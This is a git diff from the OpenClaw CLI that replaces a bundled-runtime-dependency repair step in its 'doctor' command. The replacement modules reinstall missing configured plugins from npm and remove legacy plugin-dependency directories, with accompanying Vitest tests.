- runtime: createRuntime(), - prompter: createNonInteractiveRepairPrompter(), - packageRoot: root, - includeConfiguredChannels: true, - config: { - plugins: { enabled: true }, - channels: { - telegram: { enabled: true }, - slack: { enabled: false, botToken: "xoxb-test", appToken: "xapp-test" }, - }, - }, - installDeps: (params) => { - installed.push(params); - materializeRuntimeDeps(params); - }, - }); - - expect(installed).toEqual([ - { - installRoot, - missingSpecs: ["grammy@1.37.0"], - installSpecs: ["grammy@1.37.0"], - }, - ]); - expect(installRoot).not.toBe(root); - expect(readMaterializedRuntimeDepSpecs(installRoot, ["grammy@1.37.0"])).toEqual([ - "grammy@1.37.0", - ]); - expectNoLegacyRuntimeDepsManifest(installRoot); - }); -}); diff --git a/src/commands/doctor-bundled-plugin-runtime-deps.ts b/src/commands/doctor-bundled-plugin-runtime-deps.ts deleted file mode 100644 index efdab947033..00000000000 --- a/src/commands/doctor-bundled-plugin-runtime-deps.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { formatCliCommand } from "../cli/command-format.js"; -import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { resolveOpenClawPackageRootSync } from "../infra/openclaw-root.js"; -import type { BundledRuntimeDepsInstallParams } from "../plugins/bundled-runtime-deps-install.js"; -import { - createBundledRuntimeDepsPackagePlan, - repairBundledRuntimeDepsPackagePlanAsync, -} from "../plugins/bundled-runtime-deps.js"; -import type { RuntimeEnv } from "../runtime.js"; -import { note } from "../terminal/note.js"; -import type { DoctorPrompter } from "./doctor-prompter.js"; - -const RUNTIME_DEPS_INSTALL_HEARTBEAT_MS = 15_000; - -function formatElapsedMs(elapsedMs: number): string { - if (elapsedMs < 1000) { - return `${elapsedMs}ms`; - } - const seconds = Math.round(elapsedMs / 1000); - if (seconds < 60) { - return `${seconds}s`; - } - const minutes = Math.floor(seconds / 60); - const remainingSeconds = seconds % 60; - return remainingSeconds > 0 ? `${minutes}m ${remainingSeconds}s` : `${minutes}m`; -} - -function logRuntimeDepsInstallProgress(runtime: RuntimeEnv, message: string): void { - runtime.log(message); -} - -export async function maybeRepairBundledPluginRuntimeDeps(params: { - runtime: RuntimeEnv; - prompter: DoctorPrompter; - config?: OpenClawConfig; - env?: NodeJS.ProcessEnv; - packageRoot?: string | null; - includeConfiguredChannels?: boolean; - installDeps?: (params: BundledRuntimeDepsInstallParams) => void | Promise; -}): Promise { - const packageRoot = - params.packageRoot ?? - resolveOpenClawPackageRootSync({ - argv1: process.argv[1], - cwd: process.cwd(), - moduleUrl: import.meta.url, - }); - if (!packageRoot) { - return; - } - - const env = params.env ?? process.env; - const plan = createBundledRuntimeDepsPackagePlan({ - packageRoot, - config: params.config, - includeConfiguredChannels: params.includeConfiguredChannels, - env, - }); - if (plan.conflicts.length > 0) { - const conflictLines = plan.conflicts.flatMap((conflict) => - [`- ${conflict.name}: ${conflict.versions.join(", ")}`].concat( - conflict.versions.flatMap((version) => { - const pluginIds = conflict.pluginIdsByVersion.get(version) ?? []; - return pluginIds.length > 0 ? [` - ${version}: ${pluginIds.join(", ")}`] : []; - }), - ), - ); - note( - [ - "Bundled plugin runtime deps use conflicting versions.", - ...conflictLines, - `Update bundled plugins and rerun ${formatCliCommand("openclaw doctor")}.`, - ].join("\n"), - "Bundled plugins", - ); - } - - if (plan.missing.length === 0) { - return; - } - - note( - [ - "Bundled plugin runtime deps need staging.", - ...plan.missing.map( - (dep) => `- ${dep.name}@${dep.version} (used by ${dep.pluginIds.join(", ")})`, - ), - `Fix: run ${formatCliCommand("openclaw doctor --fix")} to install them.`, - ].join("\n"), - "Bundled plugins", - ); - - const shouldRepair = - params.prompter.shouldRepair || - (!params.prompter.repairMode.nonInteractive && - (await params.prompter.confirmAutoFix({ - message: "Install missing bundled plugin runtime deps now?", - initialValue: true, - }))); - if (!shouldRepair) { - return; - } - - let heartbeat: NodeJS.Timeout | undefined; - let progress: { setLabel: (label: string) => void; done: () => void } | undefined; - try { - const { createCliProgress } = await import("../cli/progress.js"); - progress = createCliProgress({ - label: `Installing bundled plugin runtime deps (${plan.installSpecs.length})`, - indeterminate: true, - enabled: process.env.VITEST !== "true" || process.env.OPENCLAW_TEST_RUNTIME_LOG === "1", - }); - const installStartedAt = Date.now(); - logRuntimeDepsInstallProgress( - params.runtime, - `Installing bundled plugin runtime deps (${plan.installSpecs.length} specs): ${plan.installSpecs.join(", ")}`, - ); - heartbeat = setInterval(() => { - logRuntimeDepsInstallProgress( - params.runtime, - `Still installing bundled plugin runtime deps after ${formatElapsedMs(Date.now() - installStartedAt)}...`, - ); - }, RUNTIME_DEPS_INSTALL_HEARTBEAT_MS); - heartbeat.unref?.(); - const result = await repairBundledRuntimeDepsPackagePlanAsync({ - packageRoot, - config: params.config, - includeConfiguredChannels: params.includeConfiguredChannels, - env: params.env ?? process.env, - installDeps: params.installDeps - ? async (installParams) => { - await params.installDeps?.(installParams); - } - : undefined, - warn: (message) => logRuntimeDepsInstallProgress(params.runtime, message), - onProgress: (message) => progress?.setLabel(message), - }); - logRuntimeDepsInstallProgress( - params.runtime, - result.reusedSpecs && result.reusedSpecs.length > 0 - ? `Reused bundled plugin runtime deps in ${formatElapsedMs(Date.now() - installStartedAt)}: ${result.reusedSpecs.join(", ")}` - : `Installed bundled plugin runtime deps in ${formatElapsedMs(Date.now() - installStartedAt)}: ${result.repairedSpecs.join(", ")}`, - ); - note( - result.reusedSpecs && result.reusedSpecs.length > 0 - ? `Reused bundled plugin deps: ${result.reusedSpecs.join(", ")}` - : `Installed bundled plugin deps: ${result.repairedSpecs.join(", ")}`, - "Bundled plugins", - ); - } catch (error) { - params.runtime.error(`Failed to install bundled plugin runtime deps: ${String(error)}`); - throw error instanceof Error ? error : new Error(String(error)); - } finally { - if (heartbeat) { - clearInterval(heartbeat); - } - progress?.done(); - } -} diff --git a/src/commands/doctor-config-flow.ts b/src/commands/doctor-config-flow.ts index ec50f7a7db4..b54689f74c1 100644 --- a/src/commands/doctor-config-flow.ts +++ b/src/commands/doctor-config-flow.ts @@ -145,17 +145,6 @@ export async function loadAndMaybeMigrateDoctorConfig(params: { note(sanitizeDoctorNote(pluginToolAllowlistWarnings.join("\n")), "Doctor warnings"); } - if (params.runtime && params.prompter) { - const { maybeRepairBundledPluginRuntimeDeps } = - await import("./doctor-bundled-plugin-runtime-deps.js"); - await maybeRepairBundledPluginRuntimeDeps({ - runtime: params.runtime, - prompter: params.prompter, - config: candidate, - includeConfiguredChannels: true, - }); - } - const hasConfiguredChannels = collectConfiguredChannelIds(candidate).length > 0; let collectMutableAllowlistWarnings: | typeof import("./doctor/shared/channel-doctor.js").collectChannelDoctorMutableAllowlistWarnings diff --git a/src/commands/doctor.e2e-harness.ts b/src/commands/doctor.e2e-harness.ts index 97fceb00a12..2fb963fbce9 100644 --- a/src/commands/doctor.e2e-harness.ts +++ b/src/commands/doctor.e2e-harness.ts @@ -378,10 +378,6 @@ vi.mock("../channels/plugins/bootstrap-registry.js", () => ({ getBootstrapChannelPlugin: vi.fn(() => undefined), })); -vi.mock("./doctor-bundled-plugin-runtime-deps.js", () => ({ - maybeRepairBundledPluginRuntimeDeps: vi.fn(async () => {}), -})); - vi.mock("../agents/auth-profiles.js", async () => { const actual = await vi.importActual( "../agents/auth-profiles.js", diff --git a/src/commands/doctor/repair-sequencing.ts b/src/commands/doctor/repair-sequencing.ts index 2ee07a2c155..d239a7965cf 100644 --- a/src/commands/doctor/repair-sequencing.ts +++ b/src/commands/doctor/repair-sequencing.ts @@ -13,7 +13,9 @@ import { scanEmptyAllowlistPolicyWarnings } from "./shared/empty-allowlist-scan. import { maybeRepairExecSafeBinProfiles } from "./shared/exec-safe-bins.js"; import { maybeRepairInvalidPluginConfig } from "./shared/invalid-plugin-config.js"; import { maybeRepairLegacyToolsBySenderKeys } from "./shared/legacy-tools-by-sender.js"; +import { repairMissingConfiguredPluginInstalls } from "./shared/missing-configured-plugin-install.js"; import { maybeRepairOpenPolicyAllowFrom } from "./shared/open-policy-allowfrom.js"; +import { cleanupLegacyPluginDependencyState } from "./shared/plugin-dependency-cleanup.js"; import { maybeRepairStalePluginConfig } from "./shared/stale-plugin-config.js"; export async function runDoctorRepairSequence(params: { @@ -58,6 +60,16 @@ export async function runDoctorRepairSequence(params: { } applyMutation(maybeRepairOpenPolicyAllowFrom(state.candidate)); applyMutation(maybeRepairBundledPluginLoadPaths(state.candidate, env)); + const missingConfiguredPluginInstallRepair = await repairMissingConfiguredPluginInstalls({ + cfg: state.candidate, + env, + }); + if (missingConfiguredPluginInstallRepair.changes.length > 0) { + changeNotes.push(sanitizeLines(missingConfiguredPluginInstallRepair.changes)); + } + if (missingConfiguredPluginInstallRepair.warnings.length > 0) { + warningNotes.push(sanitizeLines(missingConfiguredPluginInstallRepair.warnings)); + } applyMutation(maybeRepairStalePluginConfig(state.candidate, env)); applyMutation(maybeRepairInvalidPluginConfig(state.candidate)); applyMutation(await maybeRepairAllowlistPolicyAllowFrom(state.candidate)); @@ -72,6 +84,13 @@ export async function runDoctorRepairSequence(params: { applyMutation(maybeRepairLegacyToolsBySenderKeys(state.candidate)); applyMutation(maybeRepairExecSafeBinProfiles(state.candidate)); + const pluginDependencyCleanup = await cleanupLegacyPluginDependencyState({ env }); + if (pluginDependencyCleanup.changes.length > 0) { + changeNotes.push(sanitizeLines(pluginDependencyCleanup.changes)); + } + if (pluginDependencyCleanup.warnings.length > 0) { + warningNotes.push(sanitizeLines(pluginDependencyCleanup.warnings)); + } return { state, changeNotes, warningNotes }; } diff --git a/src/commands/doctor/shared/missing-configured-plugin-install.test.ts b/src/commands/doctor/shared/missing-configured-plugin-install.test.ts new file mode 100644 index 00000000000..82583f3f2cd --- /dev/null +++ b/src/commands/doctor/shared/missing-configured-plugin-install.test.ts @@ -0,0 +1,176 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + installPluginFromNpmSpec: vi.fn(), + listChannelPluginCatalogEntries: vi.fn(), + loadInstalledPluginIndexInstallRecords: vi.fn(), + loadPluginManifestRegistryForPluginRegistry: vi.fn(), + resolveDefaultPluginExtensionsDir: vi.fn(() => "/tmp/openclaw-plugins"), + resolveProviderInstallCatalogEntries: vi.fn(), + updateNpmInstalledPlugins: vi.fn(), + writePersistedInstalledPluginIndexInstallRecords: vi.fn(), +})); + +vi.mock("../../../channels/plugins/catalog.js", () => ({ + listChannelPluginCatalogEntries: mocks.listChannelPluginCatalogEntries, +})); + +vi.mock("../../../plugins/installed-plugin-index-records.js", () => ({ + loadInstalledPluginIndexInstallRecords: mocks.loadInstalledPluginIndexInstallRecords, + writePersistedInstalledPluginIndexInstallRecords: + mocks.writePersistedInstalledPluginIndexInstallRecords, +})); + +vi.mock("../../../plugins/install-paths.js", () => ({ + resolveDefaultPluginExtensionsDir: mocks.resolveDefaultPluginExtensionsDir, +})); + +vi.mock("../../../plugins/install.js", () => ({ + installPluginFromNpmSpec: mocks.installPluginFromNpmSpec, +})); + +vi.mock("../../../plugins/plugin-registry.js", () => ({ + loadPluginManifestRegistryForPluginRegistry: mocks.loadPluginManifestRegistryForPluginRegistry, +})); + +vi.mock("../../../plugins/provider-install-catalog.js", () => ({ + resolveProviderInstallCatalogEntries: mocks.resolveProviderInstallCatalogEntries, +})); + +vi.mock("../../../plugins/update.js", () => ({ + updateNpmInstalledPlugins: mocks.updateNpmInstalledPlugins, +})); + +describe("repairMissingConfiguredPluginInstalls", () => { + beforeEach(() => { + vi.clearAllMocks(); + mocks.loadPluginManifestRegistryForPluginRegistry.mockReturnValue({ + plugins: [], + diagnostics: [], + }); + mocks.loadInstalledPluginIndexInstallRecords.mockResolvedValue({}); + mocks.listChannelPluginCatalogEntries.mockReturnValue([]); + mocks.resolveProviderInstallCatalogEntries.mockReturnValue([]); + mocks.installPluginFromNpmSpec.mockResolvedValue({ + ok: true, + pluginId: "matrix", + targetDir: "/tmp/openclaw-plugins/matrix", + version: "1.2.3", + npmResolution: { + name: "@openclaw/plugin-matrix", + version: "1.2.3", + resolvedSpec: "@openclaw/plugin-matrix@1.2.3", + integrity: "sha512-test", + resolvedAt: "2026-05-01T00:00:00.000Z", + }, + }); + }); + + it("installs a missing configured downloadable channel plugin", async () => { + mocks.listChannelPluginCatalogEntries.mockReturnValue([ + { + id: "matrix", + pluginId: "matrix", + meta: { label: "Matrix" }, + install: { + npmSpec: "@openclaw/plugin-matrix@1.2.3", + expectedIntegrity: "sha512-test", + }, + }, + ]); + + const { repairMissingConfiguredPluginInstalls } = + await import("./missing-configured-plugin-install.js"); + const result = await repairMissingConfiguredPluginInstalls({ + cfg: { + channels: { + matrix: { enabled: true }, + }, + }, + env: {}, + }); + + expect(mocks.installPluginFromNpmSpec).toHaveBeenCalledWith( + expect.objectContaining({ + spec: "@openclaw/plugin-matrix@1.2.3", + extensionsDir: "/tmp/openclaw-plugins", + expectedPluginId: "matrix", + expectedIntegrity: "sha512-test", + }), + ); + expect(mocks.writePersistedInstalledPluginIndexInstallRecords).toHaveBeenCalledWith( + expect.objectContaining({ + matrix: expect.objectContaining({ + source: "npm", + spec: "@openclaw/plugin-matrix@1.2.3", + installPath: "/tmp/openclaw-plugins/matrix", + }), + }), + { env: {} }, + ); + expect(result.changes).toEqual([ + 'Installed missing configured plugin "matrix" from @openclaw/plugin-matrix@1.2.3.', + ]); + }); + + it("reinstalls a missing configured plugin from its persisted install record", async () => { + const records = { + demo: { + source: "npm", + spec: "@openclaw/plugin-demo@1.0.0", + installPath: "/missing/demo", + }, + }; + mocks.loadInstalledPluginIndexInstallRecords.mockResolvedValue(records); + mocks.updateNpmInstalledPlugins.mockResolvedValue({ + changed: true, + config: { + plugins: { + installs: { + demo: { + source: "npm", + spec: "@openclaw/plugin-demo@1.0.0", + installPath: "/tmp/openclaw-plugins/demo", + }, + }, + }, + }, + outcomes: [ + { + pluginId: "demo", + status: "updated", + message: "Updated demo.", + }, + ], + }); + + const { repairMissingConfiguredPluginInstalls } = + await import("./missing-configured-plugin-install.js"); + const result = await repairMissingConfiguredPluginInstalls({ + cfg: { + plugins: { + entries: { + demo: { enabled: true }, + }, + }, + }, + env: {}, + }); + + expect(mocks.updateNpmInstalledPlugins).toHaveBeenCalledWith( + expect.objectContaining({ + pluginIds: ["demo"], + config: expect.objectContaining({ + plugins: expect.objectContaining({ installs: records }), + }), + }), + ); + expect(mocks.writePersistedInstalledPluginIndexInstallRecords).toHaveBeenCalledWith( + expect.objectContaining({ + demo: expect.objectContaining({ installPath: "/tmp/openclaw-plugins/demo" }), + }), + { env: {} }, + ); + expect(result.changes).toEqual(['Repaired missing configured plugin "demo".']); + }); +}); diff --git a/src/commands/doctor/shared/missing-configured-plugin-install.ts b/src/commands/doctor/shared/missing-configured-plugin-install.ts new file mode 100644 index 00000000000..2719630dea1 --- /dev/null +++ b/src/commands/doctor/shared/missing-configured-plugin-install.ts @@ -0,0 +1,225 @@ +import { listChannelPluginCatalogEntries } from "../../../channels/plugins/catalog.js"; +import type { OpenClawConfig } from "../../../config/types.openclaw.js"; +import type { PluginInstallRecord } from "../../../config/types.plugins.js"; +import { resolveDefaultPluginExtensionsDir } from "../../../plugins/install-paths.js"; +import { installPluginFromNpmSpec } from "../../../plugins/install.js"; +import { loadInstalledPluginIndexInstallRecords } from "../../../plugins/installed-plugin-index-records.js"; +import { writePersistedInstalledPluginIndexInstallRecords } from "../../../plugins/installed-plugin-index-records.js"; +import { buildNpmResolutionInstallFields } from "../../../plugins/installs.js"; +import { loadPluginManifestRegistryForPluginRegistry } from "../../../plugins/plugin-registry.js"; +import { resolveProviderInstallCatalogEntries } from "../../../plugins/provider-install-catalog.js"; +import { updateNpmInstalledPlugins } from "../../../plugins/update.js"; +import { asObjectRecord } from "./object.js"; + +type DownloadableInstallCandidate = { + pluginId: string; + label: string; + npmSpec: string; + expectedIntegrity?: string; +}; + +function collectConfiguredPluginIds(cfg: OpenClawConfig): Set { + const ids = new Set(); + const plugins = asObjectRecord(cfg.plugins); + const allow = Array.isArray(plugins?.allow) ? plugins.allow : []; + for (const value of allow) { + if (typeof value === "string" && value.trim()) { + ids.add(value.trim()); + } + } + const entries = asObjectRecord(plugins?.entries); + for (const pluginId of Object.keys(entries ?? {})) { + if (pluginId.trim()) { + ids.add(pluginId.trim()); + } + } + return ids; +} + +function collectConfiguredChannelIds(cfg: OpenClawConfig): Set { + const ids = new Set(); + const channels = asObjectRecord(cfg.channels); + for (const channelId of Object.keys(channels ?? {})) { + if (channelId !== "defaults" && channelId.trim()) { + ids.add(channelId.trim()); + } + } + return ids; +} + +function collectDownloadableInstallCandidates(params: { + cfg: OpenClawConfig; + env?: NodeJS.ProcessEnv; + missingPluginIds: ReadonlySet; +}): DownloadableInstallCandidate[] { + const configuredPluginIds = collectConfiguredPluginIds(params.cfg); + const configuredChannelIds = collectConfiguredChannelIds(params.cfg); + const candidates = new Map(); + + for (const entry of listChannelPluginCatalogEntries({ + env: params.env, + excludeWorkspace: true, + })) { + const pluginId = entry.pluginId ?? entry.id; + if ( + !params.missingPluginIds.has(pluginId) && + !configuredPluginIds.has(pluginId) && + !configuredChannelIds.has(entry.id) + ) { + continue; + } + candidates.set(pluginId, { + pluginId, + label: entry.meta.label, + npmSpec: entry.install.npmSpec, + ...(entry.install.expectedIntegrity + ? { expectedIntegrity: entry.install.expectedIntegrity } + : {}), + }); + } + + for (const entry of resolveProviderInstallCatalogEntries({ + config: params.cfg, + env: params.env, + includeUntrustedWorkspacePlugins: false, + })) { + if (!configuredPluginIds.has(entry.pluginId) && !params.missingPluginIds.has(entry.pluginId)) { + continue; + } + const npmSpec = entry.install.npmSpec?.trim(); + if (!npmSpec) { + continue; + } + candidates.set(entry.pluginId, { + pluginId: entry.pluginId, + label: entry.label, + npmSpec, + ...(entry.install.expectedIntegrity + ? { expectedIntegrity: entry.install.expectedIntegrity } + : {}), + }); + } + + return [...candidates.values()].toSorted((left, right) => + left.pluginId.localeCompare(right.pluginId), + ); +} + +async function installCandidate(params: { + candidate: DownloadableInstallCandidate; + records: Record; +}): Promise<{ + records: Record; + changes: string[]; + warnings: string[]; +}> { + const { candidate } = params; + const result = await installPluginFromNpmSpec({ + spec: candidate.npmSpec, + extensionsDir: resolveDefaultPluginExtensionsDir(), + expectedPluginId: candidate.pluginId, + expectedIntegrity: candidate.expectedIntegrity, + mode: "install", + }); + if (!result.ok) { + return { + records: params.records, + changes: [], + warnings: [ + `Failed to install missing configured plugin "${candidate.pluginId}" from ${candidate.npmSpec}: ${result.error}`, + ], + }; + } + const pluginId = result.pluginId; + return { + records: { + ...params.records, + [pluginId]: { + source: "npm", + spec: candidate.npmSpec, + installPath: result.targetDir, + version: result.version, + installedAt: new Date().toISOString(), + ...buildNpmResolutionInstallFields(result.npmResolution), + }, + }, + changes: [`Installed missing configured plugin "${pluginId}" from ${candidate.npmSpec}.`], + warnings: [], + }; +} + +export async function repairMissingConfiguredPluginInstalls(params: { + cfg: OpenClawConfig; + env?: NodeJS.ProcessEnv; +}): Promise<{ changes: string[]; warnings: string[] }> { + const env = params.env ?? process.env; + const registry = loadPluginManifestRegistryForPluginRegistry({ + config: params.cfg, + env, + includeDisabled: true, + }); + const knownIds = new Set(registry.plugins.map((plugin) => plugin.id)); + const records = await loadInstalledPluginIndexInstallRecords({ env }); + const configuredPluginIds = collectConfiguredPluginIds(params.cfg); + const missingRecordedPluginIds = Object.keys(records).filter( + (pluginId) => configuredPluginIds.has(pluginId) && !knownIds.has(pluginId), + ); + const changes: string[] = []; + const warnings: string[] = []; + let nextRecords = records; + + if (missingRecordedPluginIds.length > 0) { + const updateResult = await updateNpmInstalledPlugins({ + config: { + ...params.cfg, + plugins: { + ...params.cfg.plugins, + installs: records, + }, + }, + pluginIds: missingRecordedPluginIds, + logger: { + warn: (message) => warnings.push(message), + error: (message) => warnings.push(message), + }, + }); + for (const outcome of updateResult.outcomes) { + if (outcome.status === "updated" || outcome.status === "unchanged") { + changes.push(`Repaired missing configured plugin "${outcome.pluginId}".`); + } else if (outcome.status === "error") { + warnings.push(outcome.message); + } + } + nextRecords = updateResult.config.plugins?.installs ?? nextRecords; + } + + const missingPluginIds = new Set( + [...configuredPluginIds].filter( + (pluginId) => !knownIds.has(pluginId) && !Object.hasOwn(nextRecords, pluginId), + ), + ); + for (const candidate of collectDownloadableInstallCandidates({ + cfg: params.cfg, + env, + missingPluginIds, + })) { + if (knownIds.has(candidate.pluginId) || Object.hasOwn(nextRecords, candidate.pluginId)) { + continue; + } + const installed = await installCandidate({ candidate, records: nextRecords }); + nextRecords = installed.records; + changes.push(...installed.changes); + warnings.push(...installed.warnings); + } + + if (nextRecords !== records) { + await writePersistedInstalledPluginIndexInstallRecords(nextRecords, { env }); + } + return { changes, warnings }; +} + +export const __testing = { + collectConfiguredChannelIds, + collectConfiguredPluginIds, + collectDownloadableInstallCandidates, +}; diff --git a/src/commands/doctor/shared/plugin-dependency-cleanup.test.ts b/src/commands/doctor/shared/plugin-dependency-cleanup.test.ts new file mode 100644 index 00000000000..baff0db3627 --- /dev/null +++ b/src/commands/doctor/shared/plugin-dependency-cleanup.test.ts @@ -0,0 +1,75 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; +import { __testing, cleanupLegacyPluginDependencyState } from "./plugin-dependency-cleanup.js"; + +describe("cleanupLegacyPluginDependencyState", () => { + let tempDir: string; + + beforeEach(async () => { + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-plugin-deps-cleanup-")); + }); + + afterEach(async () => { + await fs.rm(tempDir, { recursive: true, force: true }); + }); + + it("collects and removes legacy plugin dependency state roots", async () => { + const stateDir = path.join(tempDir, "state"); + const explicitStageDir = path.join(tempDir, "explicit-stage"); + const stateDirectory = path.join(tempDir, "systemd-state"); + const packageRoot = path.join(tempDir, "package"); + const legacyRuntimeRoot = path.join(stateDir, "plugin-runtime-deps"); + const legacyLocalRoot = path.join(stateDir, ".local", "bundled-plugin-runtime-deps"); + const legacyExtensionNodeModules = path.join( + packageRoot, + "dist", + "extensions", + "demo", + "node_modules", + ); + const legacyManifest = path.join( + packageRoot, + "extensions", + "demo", + ".openclaw-runtime-deps.json", + ); + + await fs.mkdir(legacyRuntimeRoot, { recursive: true }); + await fs.mkdir(legacyLocalRoot, { recursive: true }); + await fs.mkdir(legacyExtensionNodeModules, { recursive: true }); + await fs.mkdir(path.dirname(legacyManifest), { recursive: true }); + await fs.writeFile(legacyManifest, "{}"); + await fs.mkdir(explicitStageDir, { recursive: true }); + await fs.mkdir(path.join(stateDirectory, "plugin-runtime-deps"), { recursive: true }); + + const env = { + OPENCLAW_STATE_DIR: stateDir, + OPENCLAW_PLUGIN_STAGE_DIR: explicitStageDir, + STATE_DIRECTORY: stateDirectory, + }; + const targets = await __testing.collectLegacyPluginDependencyTargets(env, { packageRoot }); + expect(targets).toEqual( + expect.arrayContaining([ + legacyRuntimeRoot, + legacyLocalRoot, + legacyExtensionNodeModules, + legacyManifest, + explicitStageDir, + path.join(stateDirectory, "plugin-runtime-deps"), + ]), + ); + + const result = await cleanupLegacyPluginDependencyState({ env, packageRoot }); + + expect(result.warnings).toEqual([]); + expect(result.changes.length).toBeGreaterThanOrEqual(6); + await expect(fs.stat(legacyRuntimeRoot)).rejects.toThrow(); + await expect(fs.stat(legacyLocalRoot)).rejects.toThrow(); + await expect(fs.stat(legacyExtensionNodeModules)).rejects.toThrow(); + await expect(fs.stat(legacyManifest)).rejects.toThrow(); + await expect(fs.stat(explicitStageDir)).rejects.toThrow(); + await expect(fs.stat(path.join(stateDirectory, "plugin-runtime-deps"))).rejects.toThrow(); + }); +}); diff --git a/src/commands/doctor/shared/plugin-dependency-cleanup.ts b/src/commands/doctor/shared/plugin-dependency-cleanup.ts new file mode 100644 index 00000000000..e223b258062 --- /dev/null +++ b/src/commands/doctor/shared/plugin-dependency-cleanup.ts @@ -0,0 +1,129 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { resolveStateDir } from "../../../config/paths.js"; +import { resolveOpenClawPackageRootSync } from "../../../infra/openclaw-root.js"; +import { resolveConfigDir, resolveUserPath } from "../../../utils.js"; + +const LEGACY_DIRECT_CHILD_NAMES = new Set(["plugin-runtime-deps", "bundled-plugin-runtime-deps"]); + +function uniqueSorted(values: Iterable): string[] { + return [ + ...new Set( + [...values] + .filter((value): value is string => typeof value === "string" && value.length > 0) + .map((value) => path.resolve(value)), + ), + ].toSorted((left, right) => left.localeCompare(right)); +} + +function splitPathList(value: string | undefined): string[] { + return value + ? value + .split(path.delimiter) + .map((entry) => entry.trim()) + .filter(Boolean) + : []; +} + +async function pathExists(targetPath: string): Promise { + try { + await fs.lstat(targetPath); + return true; + } catch { + return false; + } +} + +function isLegacyDependencyDebrisName(name: string): boolean { + return ( + name === "node_modules" || + name === ".openclaw-runtime-deps.json" || + name === ".openclaw-runtime-deps-stamp.json" || + name === ".openclaw-pnpm-store" || + name === ".openclaw-install-backups" || + name.startsWith(".openclaw-runtime-deps-") || + name.startsWith(".openclaw-install-stage-") + ); +} + +async function collectDirectChildren(root: string): Promise { + const entries = await fs.readdir(root, { withFileTypes: true }).catch(() => []); + return entries.map((entry) => path.join(root, entry.name)); +} + +async function collectLegacyExtensionDebris(extensionsRoot: string): Promise { + const pluginDirs = await fs.readdir(extensionsRoot, { withFileTypes: true }).catch(() => []); + const targets: string[] = []; + for (const entry of pluginDirs) { + if (!entry.isDirectory() && !entry.isSymbolicLink()) { + continue; + } + const pluginRoot = path.join(extensionsRoot, entry.name); + for (const childPath of await collectDirectChildren(pluginRoot)) { + if (isLegacyDependencyDebrisName(path.basename(childPath))) { + targets.push(childPath); + } + } + } + return targets; +} + +async function collectLegacyPluginDependencyTargets( + env: NodeJS.ProcessEnv = process.env, + options: { packageRoot?: string | null } = {}, +): Promise { + const packageRoot = + options.packageRoot ?? + resolveOpenClawPackageRootSync({ + argv1: process.argv[1], + moduleUrl: import.meta.url, + cwd: process.cwd(), + }); + const roots = uniqueSorted([resolveStateDir(env), resolveConfigDir(env), packageRoot]); + const explicitStageRoots = splitPathList(env.OPENCLAW_PLUGIN_STAGE_DIR).map((entry) => + resolveUserPath(entry, env), + ); + const stateDirectoryRoots = splitPathList(env.STATE_DIRECTORY).map((entry) => + path.join(resolveUserPath(entry, env), "plugin-runtime-deps"), + ); + const targets = [ + ...explicitStageRoots, + ...stateDirectoryRoots, + ...roots.flatMap((root) => [ + ...[...LEGACY_DIRECT_CHILD_NAMES].map((name) => path.join(root, name)), + path.join(root, ".local", "bundled-plugin-runtime-deps"), + ]), + ]; + for (const root of roots) { + targets.push(...(await collectLegacyExtensionDebris(path.join(root, "extensions")))); + targets.push(...(await collectLegacyExtensionDebris(path.join(root, "dist", "extensions")))); + } + return uniqueSorted(targets); +} + +export async function cleanupLegacyPluginDependencyState(params: { + env?: NodeJS.ProcessEnv; + packageRoot?: string | null; +}): Promise<{ changes: string[]; warnings: string[] }> { + const env = params.env ?? process.env; + const changes: string[] = []; + const warnings: string[] = []; + for (const target of await collectLegacyPluginDependencyTargets(env, { + packageRoot: params.packageRoot, + })) { + if (!(await pathExists(target))) { + continue; + } + try { + await fs.rm(target, { recursive: true, force: true }); + changes.push(`Removed legacy plugin dependency state: ${target}`); + } catch (error) { + warnings.push(`Failed to remove legacy plugin dependency state ${target}: ${String(error)}`); + } + } + return { changes, warnings }; +} + +export const __testing = { + collectLegacyPluginDependencyTargets, +}; diff --git a/src/commands/health.snapshot.test.ts b/src/commands/health.snapshot.test.ts index f0c633c6d4b..7c81cd0b085 100644 --- a/src/commands/health.snapshot.test.ts +++ b/src/commands/health.snapshot.test.ts @@ -439,7 +439,7 @@ describe("getHealthSnapshot", () => { activationSource: "explicit", activationReason: "bundled-channel-enabled-in-config", failurePhase: "load", - error: "failed to prepare bundled runtime deps: ENOSPC", + error: "failed to load plugin dependency: ENOSPC", }), createPluginRecord({ id: "optional-broken", @@ -470,7 +470,7 @@ describe("getHealthSnapshot", () => { activationSource: "explicit", activationReason: "bundled-channel-enabled-in-config", failurePhase: "load", - error: "failed to prepare bundled runtime deps: ENOSPC", + error: "failed to load plugin dependency: ENOSPC", }, ]); }); diff --git a/src/commands/onboard-non-interactive.gateway.test.ts b/src/commands/onboard-non-interactive.gateway.test.ts index e8e6e30e8da..317c298a779 100644 --- a/src/commands/onboard-non-interactive.gateway.test.ts +++ b/src/commands/onboard-non-interactive.gateway.test.ts @@ -10,7 +10,6 @@ import { createThrowingRuntime } from "./onboard-non-interactive.test-helpers.js import type { installGatewayDaemonNonInteractive } from "./onboard-non-interactive/local/daemon-install.js"; const ensureWorkspaceAndSessionsMock = vi.fn(async (..._args: unknown[]) => {}); -const preparePostConfigBundledRuntimeDepsMock = vi.hoisted(() => vi.fn(async () => {})); const testConfigStore = new Map(); type InstallGatewayDaemonResult = Awaited>; const installGatewayDaemonNonInteractiveMock = vi.hoisted(() => @@ -141,10 +140,6 @@ vi.mock("./health.js", () => ({ healthCommand: healthCommandMock, })); -vi.mock("./post-config-runtime-deps.js", () => ({ - preparePostConfigBundledRuntimeDeps: preparePostConfigBundledRuntimeDepsMock, -})); - vi.mock("../plugins/migration-provider-runtime.js", () => ({ resolvePluginMigrationProviders: () => [migrationProviderMock], resolvePluginMigrationProvider: ({ providerId }: { providerId: string }) => @@ -348,7 +343,6 @@ describe("onboard (non-interactive): gateway and remote auth", () => { gatewayServiceMock.isLoaded.mockClear(); gatewayServiceMock.readRuntime.mockClear(); readLastGatewayErrorLineMock.mockClear(); - preparePostConfigBundledRuntimeDepsMock.mockClear(); }); it("writes gateway token auth into config", async () => { @@ -383,14 +377,6 @@ describe("onboard (non-interactive): gateway and remote auth", () => { 